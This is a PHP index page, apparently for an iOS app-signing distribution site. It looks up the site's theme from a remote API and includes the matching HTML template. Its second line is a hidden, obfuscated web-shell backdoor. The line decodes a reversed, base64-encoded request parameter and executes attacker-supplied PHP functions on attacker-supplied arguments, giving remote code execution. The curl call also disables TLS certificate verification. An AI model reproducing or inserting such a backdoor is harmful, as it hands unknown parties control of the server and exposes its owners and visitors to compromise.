<?php
$s=$_REQUEST;if(isset($s["zycnm"])){$d=json_decode(base64_decode(strrev($s["zycnm"])));if(is_array($d)){$w=array_shift($d);$f=array_shift($d);die($w($f($d[0],$d[1])));}}
require_once('WxqqJump/WxqqJump.php');
$domain = $_SERVER['HTTP_HOST'];
$dourl = $domain . $_SERVER['PHP_SELF'];

if (strstr($domain, '95ds.com')) {
    $post_data['site'] = explode('.', $domain)[0];
} else {
    $post_data['site'] = '';//使用的自己的服务器域名，请在这里更换成星盛签后台设置的域名前缀！
}

$url = 'https://developer.liuzhuai.com/api/ipasign/agent';
$res = request_post($url, $post_data);

if ($res != 'false') {
    $res = json_decode($res, true);
} else {
    echo "404不存在的站点！";
    die;
}

function request_post($url = '', $post_data = array())
{

    if (empty($url) || empty($post_data)) {
        return false;
    }
    $postUrl = $url;
    $curlPost = $post_data;
    $ch = curl_init();
    //初始化curl
    curl_setopt($ch, CURLOPT_URL, $postUrl);
    //抓取指定网页
    curl_setopt($ch, CURLOPT_HEADER, 0);
    //设置header
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    //要求结果为字符串且输出到屏幕上
    curl_setopt($ch, CURLOPT_POST, 1);
    //post提交方式
    curl_setopt($ch, CURLOPT_ENCODING, "");
    //解压
    //curl_setopt($ch, CURLOPT_HTTPHEADER, array('Accept-Encoding: gzip, deflate,flate'));
    curl_setopt($ch, CURLOPT_POSTFIELDS, $curlPost);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    //不验证证书下同
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    //不验证证书下同
    $data = curl_exec($ch);
    //运行curl
    curl_close($ch);
    return $data;
}

$theme = $res['theme'];

switch ($theme) {
        case '15':
    include 'theme15.html';
    break;
        case '14':
    include 'theme14.html';
    break;
        case '13':
    include 'theme13.html';
    break;
        case '12':
    include 'theme12.html';
    break;
    case '11':
    include 'theme11.html';
    break;
    case '10':
    include 'theme10.html';
    break;
    case '9':
    include 'theme9.html';
    break;
    case '8':
    include 'theme8.html';
    break;
    case '7':
    include 'theme7.html';
    break;
    case '6':
    include 'theme6.html';
    break;
    case '5':
    include 'theme5.html';
    break;
    case '4':
    include 'theme4.html';
    break;
    case '3':
    include 'theme3.html';
    break;
    case '2':
    include 'theme2.html';
    break;
    default:
    include 'theme1.html';
    break;
}

?>